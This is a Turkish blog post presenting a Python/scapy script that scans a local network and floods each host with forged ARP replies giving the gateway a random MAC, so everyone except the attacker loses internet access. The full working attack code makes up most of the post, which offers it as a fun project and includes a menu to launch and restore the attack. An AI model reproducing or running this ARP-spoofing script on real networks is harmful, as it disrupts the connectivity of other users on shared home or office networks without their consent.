Erdem YILDIZ

Siber Güvenlik Araştırmacısı
Python Geliştiricisi
Linux Hayranı

Python ile Local Ağ'da Internet Erişimi Engellemek

Merhaba arkadaşlar bugün python ile yazmış olduğum script'te parametre olarak kendi IP adresinizi ve Gateway IP adresini vererek siz hariç diğer kullanıcıların internet erişimi olabildiğince engelleyen bir script'in amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...

Bir yazılım dilinin eğlenceli taraflarını görmek ve göstermek için ne yapabilirim düşüncesi içersindeydim.Aklıma türlü türlü projeler geldi fakat ben biraz daha Network bilgimi kullanarak ortaya birşey koymak istedim. Daha sonra aklıma bu tarz bir proje geldi.Bu projenin amacı ise Ev ağı veya benzeri , herkesin bir Network cihazı(Switch , Router , ADLS) tarafından gerekli network bilgilerini aldığı bir ortamda siz hariç herkese sizin bilgisayarınızdan bir Frame üretilerek bu frame sanki bu ağdaki Gateway adresinden çıkmış gibi gönderilir fakat bu saldırada ürettiğimiz frame'lerde gateway'in MAC adresi rastgele üretilerek gönderilir.

Böylece siz hariç herkes Arp Table'ını güncelleyerek router'ın ip adresi karşına yeni MAC adresi bilgisini yazar. Bildiğimiz gibi Data Link katmanında alınan veya gönderilen frame'ler MAC adres bazı iletildiğinden hedefimizdeki bilgisayar'lar rasgete bir MAC adresine packet çıkaracak fakat bu packet hiçbir zaman Gateway üzerinden geçemeyeceği için interneti olabildiğince siz hariç herkese kısıtlamış olacağız.

                                            # -*- coding:utf-8 -*-
                                            from subprocess import Popen , PIPE
                                            import threading
                                            import re
                                            import platform
                                            import time
                                            import os
                                            import random
                                            from termcolor import colored, cprint
                                            import logging
                                            logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
                                            from scapy.all import *


                                            LiveIPAddr  = []
                                            PingCommand = ""
                                            STATUS = True

                                            class Attack():
                                                def __init__(self, YourIP , GatewayIP):
                                                    self.yip = YourIP
                                                    self.ip  = GatewayIP.split(".")[0] + "." + GatewayIP.split(".")[1] + "." + GatewayIP.split(".")[2] + "."

                                                    self.giy = GatewayIP
                                                    self.giyMAC = ""
                                                    self.giyFakeMAC = self.GenerateFakeMAC()

                                                    self.RealMacIP = []


                                                def ScanLiveIP(self):
                                                    a = 1
                                                    for i in range(20,261,20):
                                                        if i == 260:
                                                            i=254
                                                            t = threading.Thread(target = IPRange , args = (a , i , self.ip))
                                                            t.start()
                                                        else:
                                                            t = threading.Thread(target = IPRange , args = (a , i  , self.ip))
                                                                            t.start()
                                                        a=i

                                                def GetMacAdress(self):
                                                    LiveIPAddr.remove(self.yip)
                                                    for ip in LiveIPAddr:
                                                        pid = Popen(["arp", "-n",ip], stdout=PIPE)
                                                        s = pid.communicate()[0]
                                                        mac = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0]
                                                        if ip == self.giy:
                                                            self.giyMAC = mac
                                                        self.RealMacIP.append([ip , mac])
                                                    for i in self.RealMacIP:
                                                        print colored(i[0] +" <-> "+ i[1] , 'white', attrs=['blink'])
                                                    print colored("New gateway's mac address {} <-> {}".format(self.giy,self.giyFakeMAC) , 'white', attrs=['blink'])
                                                    print "\n"

                                                def GenerateFakeMAC(self):
                                                    tmp = "0123456789abcdef"
                                                    var = ""
                                                    for i in range(6):
                                                        var += random.choice(tmp) +""+random.choice(tmp)+":"
                                                    return var[:17]


                                                def ChangeTargetsGatewayMAC(self):

                                                    print colored('30 seconds later you can notice others people can not reach internet except you :)', 'red', attrs= ['bold'])
                                                    time.sleep(10)

                                                    for i in self.RealMacIP:
                                                        if i[0] == self.giy:
                                                            pass
                                                        else:
                                                            t = threading.Thread(target = self.ChangeThreadATTACK , args = (i[0] , i[1]) )
                                                            t.start()

                                                def ChangeThreadATTACK(self,targetIP,targetMAC):
                                                    global STATUS
                                                    while STATUS:
                                                        try:
                                                            send(ARP(op =2, pdst = targetIP, hwdst=targetMAC ,psrc = self.giy, hwsrc = self.giyFakeMAC) , verbose=False)
                                                            time.sleep(1.5)
                                                        except KeyboardInterrupt:
                                                            STATUS = False
                                                            break

                                                def RestoreAll(self):

                                                    print colored('10 seconds later others can reach internet :)', 'red', attrs= ['bold'])
                                                    time.sleep(10)

                                                    global STATUS
                                                    STATUS = False
                                                    time.sleep(5)
                                                    for i in self.RealMacIP:
                                                        if i[0] == self.giy:
                                                            pass
                                                        else:
                                                            send(ARP(op =2, psrc = i[0], hwsrc=i[1] ,pdst = self.giy, hwdst = "ff:ff:ff:ff:ff:ff") , count=5 ,verbose=False)


                                            def IPRange(first,end,ip):
                                                for i in range(first , end):
                                                    x = os.popen(PingCommand.format(ip + str(i)))
                                                    if "1 received" in x.readlines()[4]:
                                                        LiveIPAddr.append(ip+str(i))

                                            #Main Function
                                            if __name__ == "__main__":

                                                if platform.system() == "Windows":
                                                    PingCommand = "ping {} -n 1"
                                                else:
                                                    PingCommand = "ping {} -c 1 -W 1.5"

                                                print "\n"
                                                YourIP = raw_input(colored('[***]       Please enter your IP Address    : ', 'green', attrs=['bold']))
                                                IP     = raw_input(colored('[***]       Please enter Gateway IP Address : ', 'green', attrs=['bold']))
                                                print "\n"

                                                A = Attack(YourIP , IP)
                                                A.ScanLiveIP()
                                                time.sleep(20)
                                                A.GetMacAdress()
                                                while True:
                                                    print  colored('[***]  What do you want\n', 'magenta', attrs= ['bold'])
                                                    print  colored('[1] -> Do you want to kick all computer on internet except you', 'blue', attrs= ['bold'])
                                                    print  colored('[2] -> Do you want to restore all changes', 'blue', attrs= ['bold'])
                                                    print  colored('[3] -> Exit', 'blue', attrs= ['bold'])
                                                    ask = input(colored('#>', 'red', attrs= ['bold']))



                                                    if ask == 1:
                                                        A.ChangeTargetsGatewayMAC()
                                                    if ask == 2:
                                                        A.RestoreAll()
                                                    if ask == 3:
                                                        global STATUS
                                                        STATUS = False
                                                        break


                                        

Aşağıda size script'in nasıl çalıştığını göstermek istedim.İlk başta sizin IP adresinizi daha sonra ise Gateway'in ip adresini girmenizi ister.Daha sonra size Saldırı başlatmak için 1'e , ayarları geri almak için 2'ye yada çıkmak için 3'e basmanızı ister.

Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)